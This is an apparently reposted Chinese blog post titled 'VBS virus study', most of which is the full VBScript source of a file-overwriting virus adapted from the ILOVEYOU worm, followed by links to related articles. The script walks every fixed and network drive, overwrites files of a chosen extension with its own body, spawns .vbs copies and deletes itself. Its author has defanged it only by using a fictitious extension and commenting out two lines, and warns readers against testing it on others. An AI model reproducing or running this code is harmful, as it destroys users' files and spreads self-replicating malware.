vbs 病毒学习

转载 2008年10月01日 19:13:00

说明:作者对某些代码进行了修改。该文件是一个完整的程序。该文件执行之后,会寻找硬盘上所有满足条件的文件,对其进行强制性覆盖(满足条件的文件数据将全部丢失)、并再创建一个相同文件名但后带.vbs的文件。因此,请注意设立好破坏测试条件,千万不要对他人进行测试,否则,一切后果自负。

dim folder,fso,foldername,f,d,dc
set fso=createobject("scripting.filesystemobject")
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall '读取病毒体,以备复制到文件
self.close
set dc=fso.Drives
for each d in dc
if d.drivetype=3 or d.drivetype=2 then '检查磁盘类型
wscript.echo d '弹出窗口,显示找到盘符
scan(d)
end if
next  
lsfile=wscript.scriptfullname '该脚本程序路径
set lsfile=fso.getfile(lsfile)
lsfile.delete(true) '病毒运行后自我删除(本人自加,爱虫病毒本身没有该代码)
sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file) '获取文件后缀
ext=lcase(ext) '后缀名转换成小写字母
if ext="mp5" then '如果后缀名是mp5,当然不存在这种文件,这里可以自己修改,但是注意。请自己建立相应后缀名的文件,最好是非正常后缀名
set ap=fso.opentextfile(file.path,2,true)  
' ap.write vbscopy '覆盖文件,慎用
ap.close
set cop=fso.getfile(file.path)
cop.copy(file.path & ".vbs") '创建另外一个病毒文件
' file.delete(true) '删除原来文件
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目录
scan(subfolder)
next  
end sub

vbs病毒的简单例子源代码解析

vbs病毒的简单例子源代码解析说明:作者对某些代码进行了修改。该文件是一个完整的程序。该文件执行之后,会寻找硬盘上所有满足条件的文件,对其进行强制性覆盖(满足条件的文件数据将全部丢失)、并再创建一个相...
  • u011225629
  • u011225629
  • 2016年10月25日 14:04
  • 2265

网络安全中的机器学习5大误解,我知道三个

比方说,在处理客户端文件的时候,绝大多数文件都是安全的,只有少部分是恶意的。 后者是会变异的,但是你设计的模型可以自己学会应对。...
  • Anprou
  • Anprou
  • 2016年12月01日 16:06
  • 1304

Linux下随机10字符病毒的清除

源地址:http://www.botwo.net/linux-sjszfbd.html 病毒表现: 网络流量暴满,疯狂地向香港的一个IP发数据,同时在top里面表现为随机的10位字...
  • cleanfield
  • cleanfield
  • 2016年05月04日 16:44
  • 2637

1517553505vbs文件病毒学习

  • 2011年05月17日 13:13
  • 20KB
  • 下载

1517553505vbs文件病毒解码后学习

  • 2011年05月17日 13:11
  • 518B
  • 下载

Win7环境下彻底清除VBS病毒的教程

说起VBS病毒,可能很多用户并不了解,但说起1kb快捷方式病毒,用户一定有所耳闻,甚至亲身经历,这种1KB快捷方式病毒有一个名称叫:暴风一号。TA可以通过U盘、MP4/MP5之类的可移动存储设备传播的...
  • maoxiaojiemaoxiaojie
  • maoxiaojiemaoxiaojie
  • 2017年06月06日 08:52
  • 487

修复VBS病毒感染的html文件

起因(吹会牛X): 平时只用来写代码的笔记本,最近打开MyEclipse居然卡的一匹???WTF,好歹也是I7/16G的啊,仔细一看,连硬盘的储存空间都快满了,机智的我果然想到中毒了(????一直以来...
  • zhaobisheng1
  • zhaobisheng1
  • 2017年11月10日 14:07
  • 196

vbs网页病毒生成器

  • 2014年04月08日 22:28
  • 592KB
  • 下载

VBS病毒防御知识

  • 2008年02月19日 18:59
  • 3KB
  • 下载

修复被vbs病毒感染的html文件小工具

  • 2017年11月10日 14:04
  • 245KB
  • 下载
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:vbs 病毒学习
举报原因:
原因补充:

(最多只允许输入30个字)